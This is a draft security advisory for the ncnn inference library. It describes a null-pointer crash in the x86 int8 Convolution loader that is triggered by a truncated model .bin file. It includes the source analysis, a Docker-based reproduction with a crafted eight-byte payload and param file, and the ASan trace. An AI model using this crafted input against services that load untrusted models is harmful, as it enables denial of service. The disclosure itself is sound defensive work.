All advisories
Draft

Malformed Int8 Model Crashes x86 Loader

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Malformed Int8 Model Crashes x86 Loader

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_x86.cpp:981 in Convolution_x86::create_pipeline_int8_x86
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5a017a9a2fe3 bp 0x7fffe3a06020 sp 0x7fffe3a05fa0 T0)

Summary

An int8 Convolution layer that declares int8_scale_term but whose .bin file ends before the scale tensors crashes the loading process with a null read. Convolution::load_model calls ModelBin::load for both scale tensors and discards the return value, so the failed reads leave two empty matrices behind and loading continues as if nothing happened. Convolution_x86::create_pipeline_int8_x86 then indexes those matrices while building the requantization table. The PoC reaches this through ncnnoptimize, which calls ncnn::Net::load_model; any x86 build with NCNN_INT8 and int8 inference enabled is affected.

Detail

The untrusted inputs are the Convolution parameter 8 (int8_scale_term), the parameter 6 (weight_data_size), and the contents of the .bin stream. Setting 8=1 tells load_model to read a num_output-element weight-scale tensor and a one-element input-scale tensor from the binary. Truncating the .bin after the primary weight record makes both reads hit EOF; ModelBin::load logs ModelBin read weight_data failed 0 and returns a default Mat.

The asymmetry is visible in load_model itself: the weight and bias loads are guarded with .empty() checks that return -100, while the two int8 scale loads on lines 77-78 are not guarded at all. Convolution::load_model therefore returns success with weight_data_int8_scales and bottom_blob_int8_scales both holding data == nullptr. Net::load_model immediately calls create_pipeline, which dispatches to the int8 path because the weight record was int8-tagged, and the requantization loop indexes the empty scale matrices without checking their extent against num_output.

// src/layer/convolution.cpp:63
    weight_data = mb.load(weight_data_size, 0);
    if (weight_data.empty())
        return -100;

// src/layer/convolution.cpp:74
#if NCNN_INT8
    if (int8_scale_term)
    {
        weight_data_int8_scales = mb.load(num_output, 1);
        bottom_blob_int8_scales = mb.load(1, 1);
    }

// src/layer/x86/convolution_x86.cpp:976
    scale_in_data.create(num_output);
    for (int p = 0; p < num_output; p++)
    {
        // requantize and relu
        float scale_in;
        if (weight_data_int8_scales[p] == 0)
            scale_in = 0;
        else
            scale_in = 1.f / (bottom_blob_int8_scales[0] * weight_data_int8_scales[p]);

The PoC declares Convolution conv 1 1 data conv 0=1 1=1 5=0 6=1 8=1: one output channel, a 1x1 kernel, no bias, one weight element, and int8 scales enabled. poc.bin is eight bytes: the int8 tag 0x000D4B38 followed by the four-byte aligned single weight. The weight load succeeds and yields elemsize == 1, so create_pipeline takes the create_pipeline_int8_x86 branch at line 288. Both scale loads had already failed at EOF, so at p == 0 the expression weight_data_int8_scales[p] dereferences address 0x0 and the process is killed.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-int8-model-crashes-x86-loader && cd ncnn-poc-malformed-int8-model-crashes-x86-loader

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 2
Convolution conv 1 1 data conv 0=1 1=1 6=1 8=1
PARAM

printf '\070\113\015\000\177\000\000\000' > poc.bin

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name data failed
ModelBin read weight_data failed 0
ModelBin read weight_data failed 0
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5e18dd0f0fe3 bp 0x7ffc46a8f810 sp 0x7ffc46a8f790 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x5e18dd0f0fe3 in ncnn::Convolution_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:981
    #1 0x5e18dd0d37ce in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:290
    #2 0x5e18dc2f8c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #3 0x5e18dc2f990a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #4 0x5e18dc2f9c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #5 0x5e18dc20ccaf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #6 0x709010fb41c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x709010fb428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5e18dc18c624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:981 in ncnn::Convolution_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst